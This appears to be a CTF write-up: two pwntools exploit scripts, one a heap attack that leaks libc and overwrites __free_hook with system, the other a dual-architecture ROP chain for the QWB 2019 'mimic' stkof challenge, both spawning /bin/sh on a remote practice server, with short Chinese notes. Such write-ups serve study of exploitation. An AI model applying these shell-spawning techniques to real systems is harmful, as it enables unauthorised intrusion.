ru = lambda a: p.recvuntil(a)
r = lambda : p.recv()
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
itob = lambda a: str(a).encode('l1')
# 申请208 大小 可以让description 开始正好在0x00!
def menu(index):
sla(b'6. Exit', itob(index))

def add(name_size, name, desc_size, desc):
menu(1)
sla(b'Enter book name size:', itob(name_size))
sa(b'Enter book name', name)
sla(b'Enter book description size:', itob(desc_size))
sa(b'Enter book description:', desc)

def delete(index):
menu(2)
sla(b'Enter the book id you want to delete: ', itob(index))

def edit(index, desc):
menu(3)
sla(b'Enter the book id you want to edit: ', itob(index))
sa(b'Enter new book description:', desc)

def reset_name(name):
menu(5)
sla(b'Enter author name: ', name)
def pwn():
sl(b'a')
add(0,b'',0,b'') #1
delete(1)
add(0,b'',0,b'') #2
sl(b'4')
p.recvuntil(b'Name: ')
heap_leak = u64(p.recv(6).ljust(8,b'\x00'))
print('heap_leak:'+hex(heap_leak))
# 96 第二次name 长度 可以把 指针移到0x00!
current_ptr = heap_leak + 0x20 + 0x20 + 0x30 + 0x70 + 0x10 +0x10
print('current_ptr:'+hex(current_ptr))
unsortedbin = heap_leak + 0x20 + 0x20 + 0x30 + 0x70 + 0x40 + 0x30+ 0x10
print('unsortedbin:'+hex(unsortedbin))
add(96,b'a\n',48,p64(3)+p64(unsortedbin)+p64(current_ptr)+p32(48)+b'\n') #3
delete(2)
delete(3)
add(96,b'a\n',48,p32(3)+b'\n') #4
add(0,b'',0,b'') #5
reset_name(b'a'*32)
add(0x100,b'a\n',0,b'') #6
delete(6)
sl(b'4')
p.recvuntil(b'Name: ')
libc_leak = u64(p.recv(6).ljust(8,b'\x00'))
print('libc_leak:'+hex(libc_leak))
libc_base = libc_leak - 0x3c4b78
libc.address = libc_base
print('libc_base:'+hex(libc_base))
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
#show
edit(3,p64(free_hook)+p32(48)+b'\n')
sleep(0.2)
edit(3,p64(system)+b'\n')
add(0x20,b'/bin/sh\n',0,b'') #7
delete(7)
p.interactive()
if __name__ == '__main__' :
#p = process(filename)
p = remote(ip,port)
pwn()

我的方法搞得太麻烦了 ,一方面是author_name可以直接泄露堆地址,这样可以直接打我想出来的后面的部分。

另外就是可以用mmap的超大堆直接泄露libc_base

但是容易出现远程打不通。

强网杯2019拟态stkof

拟态防御。把同一个payload 输入给32位和64位编译的程序,检测输出是否相同。

retn: ret之后,rsp/esp = rsp/esp + n

利用retn可以把ropchain分配到不同的部分,然后利用32位和64位 一两个gadget的偏移,进行攻击。

#0x08099bbe : ret 0x10c

from pwn import *
from struct import pack
ip = 'node5.buuoj.cn'
port = 29664
#libc_name = '../../glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so'
filename = './pwn2'
elf = ELF(filename)
#libc = ELF(libc_name)
context.binary = filename


ru = lambda a: p.recvuntil(a)
r = lambda : p.recv()
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
itob = lambda a: str(a).encode('l1')

# x86 ebp: 0x10c x86_64: 0x110
p1 = b''

p1 += pack('<I', 0x0806e9cb) # pop edx ; ret
p1 += pack('<I', 0x080d9060) # @ .data
p1 += pack('<I', 0x080a8af6) # pop eax ; ret
p1 += b'/bin'
p1 += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p1 += pack('<I', 0x0806e9cb) # pop edx ; ret
p1 += pack('<I', 0x080d9064) # @ .data + 4
p1 += pack('<I', 0x080a8af6) # pop eax ; ret
p1 += b'//sh'
p1 += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p1 += pack('<I', 0x0806e9cb) # pop edx ; ret
p1 += pack('<I', 0x080d9068) # @ .data + 8
p1 += pack('<I', 0x08056040) # xor eax, eax ; ret
p1 += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p1 += pack('<I', 0x080481c9) # pop ebx ; ret
p1 += pack('<I', 0x080d9060) # @ .data
p1 += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret
p1 += pack('<I', 0x080d9068) # @ .data + 8
p1 += pack('<I', 0x080d9060) # padding without overwrite ebx
p1 += pack('<I', 0x0806e9cb) # pop edx ; ret
p1 += pack('<I', 0x080d9068) # @ .data + 8
p1 += pack('<I', 0x08056040) # xor eax, eax ; ret
p1 += pack('<I', 0x0807be5a) # inc eax ; ret
p1 += pack('<I', 0x0807be5a) # inc eax ; ret
p1 += pack('<I', 0x0807be5a) # inc eax ; ret
p1 += pack('<I', 0x0807be5a) # inc eax ; ret
p1 += pack('<I', 0x0807be5a) # inc eax ; ret
p1 += pack('<I', 0x0807be5a) # inc eax ; ret
p1 += pack('<I', 0x0807be5a) # inc eax ; ret
p1 += pack('<I', 0x0807be5a) # inc eax ; ret
p1 += pack('<I', 0x0807be5a) # inc eax ; ret
p1 += pack('<I', 0x0807be5a) # inc eax ; ret
p1 += pack('<I', 0x0807be5a) # inc eax ; ret
p1 += pack('<I', 0x080495a3) # int 0x80

p2 = b''
p2 += pack('<Q', 0x0000000000405895) # pop rsi ; ret
p2 += pack('<Q', 0x00000000006a10e0) # @ .data
p2 += pack('<Q', 0x000000000043b97c) # pop rax ; ret
p2 += b'/bin//sh'
p2 += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
p2 += pack('<Q', 0x0000000000405895) # pop rsi ; ret
p2 += pack('<Q', 0x00000000006a10e8) # @ .data + 8
p2 += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
p2 += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
p2 += pack('<Q', 0x00000000004005f6) # pop rdi ; ret
p2 += pack('<Q', 0x00000000006a10e0) # @ .data
p2 += pack('<Q', 0x0000000000405895) # pop rsi ; ret
p2 += pack('<Q', 0x00000000006a10e8) # @ .data + 8
p2 += pack('<Q', 0x000000000043d9d5) # pop rdx ; ret
p2 += pack('<Q', 0x00000000006a10e8) # @ .data + 8
p2 += pack('<Q', 0x000000000043b97c) # pop rax ; ret\
p2 += pack('<Q', 0x3b) # syscall: execve
p2 += pack('<Q', 0x00000000004011dc) # syscall

if __name__ == '__main__':
#p = process(filename)
payload = b'a'*0x10c + p32(0) + p32(0x08099bbe) + p1[:4] + p2.ljust(0x10c,'\x00'.encode()) + p1[4:]
p = remote(ip,port)
p.send(payload)
p.interactive()